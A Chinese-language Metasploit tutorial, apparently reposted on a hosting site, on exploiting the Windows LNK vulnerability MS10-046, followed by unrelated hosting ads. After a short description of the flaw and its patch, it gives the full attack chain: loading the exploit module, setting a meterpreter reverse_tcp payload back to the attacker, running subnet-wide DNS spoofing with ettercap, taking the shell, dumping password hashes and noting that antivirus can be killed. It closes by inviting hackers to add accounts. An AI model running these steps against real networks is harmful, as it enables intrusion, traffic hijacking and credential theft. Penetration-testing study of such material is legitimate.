Metasploit Framework应用实例:代码漏洞攻击

Microsoft Windows快捷方式LNK文件自动执行代码漏洞攻击(MS10-046)

Metasploit Framework软件介绍及下载:http://netsecurity./art/201106/268429.htm

◆漏洞描述

1、漏洞定义

Windows支持使用快捷方式或LNK文件。LNK文件是指向本地文件的引用,点击LNK文件与点击快捷方式所指定的目标具有相同的效果。

Windows没有正确地处理LNK文件,特制的LNK文件可能导致Windows自动执行快捷方式文件所指定的代码。这些代码可能位于USB驱动、本地 或远程文件系统、光驱或其他位置,使用资源管理器查看了LNK文件所在位置就足以触发这个漏洞。默认下Windows启动了自动加载和自动播放功能,因此 在连接可移动设备(如USB闪存)后Windows会自动打开资源管理器。其他显示文件图标的应用也可用作这个漏洞的攻击载体。受影响的Windows系统如下表1所示:

表1

漏洞名称

受影响的Windows系统类型

MS10-046

Microsoft Windows XP SP3

Microsoft Windows XP SP2

Microsoft Windows Vista SP2

Microsoft Windows Vista SP1

Microsoft Windows Server 2008

Microsoft Windows Server 2008 SP2

Microsoft Windows Server 2008 R2

Microsoft Windows Server 2003 SP2

Microsoft Windows 7

2、关于补丁

Microsoft已经为此发布了一个安全公告(MS10-046)以及相应补丁:

MS10-046:Vulnerability in Windows Shell Could Allow Remote Code Execution (2286198),其详细说明文档的链接如下:

http://www.microsoft.com/china/technet/security/bulletin/MS10-046.mspx

此安全更新解决了Windows Shell 中一个公开披露的漏洞。 如果显示特制的快捷方式图标,则该漏洞可能允许远程执行代码。成功利用此漏洞的攻击者可以获得与本地用户相同的用户权限。除了使用Windows系统自带的自动更新来升级补丁外,也可以使用360安全卫士之类的第三方工具来实现。#p#

◆攻击操作

接下来,我们开始使用Metasploit3进行溢出攻击,下面为详细步骤。

步骤1:进入Metasploit,载入攻击代码。

作为攻击者而言,首先是进入Metasploit。除了从菜单上直接点选进入Metasploit外,我们也可以在图形界面下打开任意一个Shell,直接输入msfconsole命令来进入Metasploit。如下图-1所示,可以看到当前包含代码数量、参数状态及最新版本等。

图-1

命令如下:

search ms10_046

回车后即可看到如下图-2所示的搜索结果,显示存在一个名为”ms10_046_shortcut_icon_dllloader”的可用攻击代码。接下来,就可以载入该攻击代码,具体命令如下:

use windows/browser/ms10_046_shortcut_icon_dllloader

回车后如下图所示,就载入了该攻击代码。

图-2

在使用一个攻击代码前,需要先查看其必需的设置参数有哪些,所以先要输入如下命令:

show options

回车后即可看到该攻击代码的设置参数,如下图-3所示,在图中间可以看到SRVHOST、SRVPORT、URIPATH这三个参数是必须的,其中,SRVPORT和URIPATH是已经默认设置好的。

图-3 #p#

步骤2:在Metasploit3上配置攻击代码。

既然知道了必需的配置参数,接下来就可以使用set命令来依次配置参数。其中,设置溢出有效载荷为反向溢出,而为了使用到Metasploit中的具备强化Shell功能的Meterpreter,所以设置为PAYLOAD为windows/metepreter/reverse_tcp此外,由于后面攻击者还要使用ettercap对目标进行DNS欺骗攻击,所以攻击者应要将反弹端口的目的地设置为自身IP,即设置LHOST为自身IP。最后,使用exploit执行溢出。具体命令如下:

set   SRVHOST   攻击者自身IP
set   PAYLOAD   windows/meterpreter/reverse_tcp
set   LHOST   攻击者自身IP
exploit

依次输入回车后如下图-4所示,会显示为启用一个URL地址为http://10.23.0.3:80,对应一个共享目录\\10.23.0.3\owhBPhxMJ\。

图-4 #p#

步骤3:配置EtterCap,执行DNS欺骗攻击。

关于DNS欺骗攻击会使用到Ettercap,这款工具的操作可以参考本书12章12.1节内容。不过在使用Ettercap进行DNS欺骗攻击之前,我们先修改一下Ettercap的dns模块,即修改/usr/share/ettercap/etter.dns文件,格式为添加*.com、*.net、*.org及*.cn的解析指向为10.23.0.3。具体命令如下:

nano /usr/share/ettercap/etter.dns
cat  /usr/share/ettercap/etter.dns

执行效果如下图-5所示。

图-5

修改etter.dns完毕后,就可以开启ettercap进行DNS欺骗攻击了,具体命令如下:

ettercap -T -q -i eth0 -P dns_spoof // //

参数解释:

-T 使用文字界面,建议不喜欢 GUI模式的朋友使用;

-q 指quiet模式,就是让Ettercap表现得安静些,少些不必要的文字报告;

-i 后跟网卡名称,这里就是eth0;

-P 后跟需要载入的插件,这里就是dns_spoof插件;

// 指代任意MAC地址、任意IP地址,即全网段。

回车后即可看到如下图-6所示。此时的Ettercap开始对当前网段实施DNS欺骗攻击。

图-6

步骤4:收到反向溢出Shell,侵入目标主机。

此时,在目标主机(也可认为是受害者,采用Windows XP SP3系统,IP地址为10.23.0.4)上打开浏览器,输入网址http://google.com并回车,如下图-7所示,会发现浏览器的响应会变得缓慢。

图-7

稍等数秒后,我们会发现在目标主机上的浏览器上原本应显示为Google的主页,突然变成了一个名为\\10.23.0.3\owhBPhxMJ的共享目录。如下图-8所示。

图-8

而此时,在攻击者的主机上,在开启EtterCap命令的Shell下,也同时出现了一些域名的请求被拦截及被同步欺骗到10.23.0.3上,如下图-9所示,能看到一个向google.com的域名解析请求被EtterCap拦截并重定向到10.23.0.3上。

图-9

回到Metasploit的Shell下,就会看到当DNS欺骗导致的重定向发生后,受害者被强制运行了攻击者主机即10.23.0.3上Metasploit执行的漏洞攻击代码。于是在成功溢出后,攻击者拿到了一个反向溢出Shell。如下图-10所示,黑框中标出的即可获取到一个Meterpreter Session。

图-10

此时,攻击者可以使用Ctrl+C中断一下攻击代码的实时显示,输入back命令回到Metasploit的根目录后,就可以使用session查看这个反向溢出Shell的ID号,然后再调用该ID即可。具体命令如下:

sessions
sessions  -i  1

参数解释:

-i num 该参数用于调用不同ID号的成功溢出Shell,后跟的num为ID号。如下图-11所示,显示的当前可用Session只有1个,即成功溢出10.23.0.4后获得的Shell。

依次输入上述命令,就可以成功调用该反向溢出Shell。如下图-11所示,由于之前设置为Metasploit内置的特殊Shell-Meterpreter,所以此时会看到提示符从”msf”变成了”meterpreter”。

图-11 #p#

步骤5:入侵后在目标主机执行命令。

为了方便安全渗透测试人员可以更深入地研究漏洞的危害性,强化了的Meterpreter里也内置了大量的工具及命令。举几个例子:

ps  列出当前运行的全部程序

如下图-12所示,输入ps回车后会显示出该Windows上当前运行的全部程序进程,攻击者将根据需要使用kill来杀掉某个进程,比如杀毒软件。

图-12

为了扩展一下思路,我们再来看看如何获取受害者主机上的密码Hash。具体命令如下:

use  priv  使用特权工具

hashdump  获取Windows所有用户密码Hash值

依次输入上述命令然后回车后就可看到如下图-13所示内容,攻击者成功地获取到了目标主机上的全部用户列表及对应的密码Hash表。这个Hash表的内容只要导入Ophcrack之类的工具中就可以轻松地破解,而关于Ophcrack的具体使用大家可以参考本书的10.1节,这里就不再重复描述。

图-13

当然,可能有的朋友要说,在这个meterpreter里面很难输入Windows命令。哦,是的,貌似是这样,但是没关系,我们可以很容易地解决这个小问题。只要输入shell这个命令,攻击者就能够进入到目标主机的CMD界面中。

如下图-14所示,只需要驶入shell,回车后攻击者就可以进入到CMD的界面中,在这个界面里任何CMD下支持的命令都可以执行,比如使用ipconfig来显示当前IP地址。如下图-14所示,我们确实看到当前IP显示为10.23.0.4,对,我们现在就在受害者的主机里。至于添加账户之类的命令就由小黑们按照想法自行使用啦。

图-14

好了,到这里,Metasploit3的基本使用,我想大家都已经学会了。

 

文章来源网络,作者:管理,如若转载,请注明出处:https://shuyeidc.com/wp/147008.html<

(0)
管理的头像管理
上一篇2025-03-11 08:45
下一篇 2025-03-11 08:46

相关推荐

  • jsp空间购买和交换数据空间怎么买,有哪些注意事项?

    购买JSP空间时,是否考虑过数据交换空间的性能?简米科技(2003年始创,23年行业沉淀)与酷番云(工信部一类增值电信全牌照)这类持牌自营机房的服务商,能确保数据交换的高效稳定,是值得优先选择的合作伙伴,为什么JSP空间需要搭配独立的数据交换空间从JSP应用特性看数据交换需求JSP基于Java技术,常用于企业级……

    2026-08-11
    0
  • 建网站用香港空间效果怎么样,香港空间稳定吗?

    建网站用香港空间,对于创建网站资产来说,核心价值在于免备案和全球带宽优势,尤其适合外贸、跨境电商和需要快速启动的项目,但你必须权衡国内访问延迟,并选择有资质的服务商以保证资产安全,香港空间的核心优势与适用边界免备案:节省时间就是节省成本国内服务器需要备案,通常需要10到20天,香港空间无需备案,域名解析后即可上……

    2026-08-11
    0
  • Java连接云数据库的方法是什么,如何操作

    Java连接云数据库的核心在于通过JDBC驱动,结合云服务商提供的连接地址、端口、数据库名及认证信息,配置安全策略(如SSL、IP白名单),即可实现稳定高效的远程数据库访问,基础准备:JDBC驱动与依赖管理连接云数据库前,需要确保开发环境具备对应的JDBC驱动,以最常见的MySQL为例,你需要引入mysql-c……

    2026-08-11
    0
  • 建网站公安联网备案必须使用数据码吗,备案流程是什么

    网站备案包括ICP备案和公安联网备案,两者缺一不可,公安联网备案必须使用服务商提供的数据码,选择持有合法资质的服务商是顺利通过备案的前提,为什么网站必须进行公安联网备案根据公安部《计算机信息网络国际联网安全保护管理办法》,网站开通后30日内必须到公安机关办理备案手续,未完成公安备案的网站,面临责令整改、关闭网站……

    2026-08-10
    0
  • 建一个企业网站大概需要多少钱?,怎么收费?

    建网站要多少钱,没有一个固定的数字,几百到几万都可能,但真正的“创建网站资产”绝不仅仅是初次投入的成本,而是基于长期稳定、合规和安全的持续性投入,其中核心取决于你选择了什么样的“地基”来承载你的业务,建站预算的构成与行业基准当你开始规划一个网站,最先面对的就是预算问题,一个常见的误区是只关注网站“看起来”的建造……

    2026-08-10
    0

发表回复

您的邮箱地址不会被公开。必填项已用 * 标注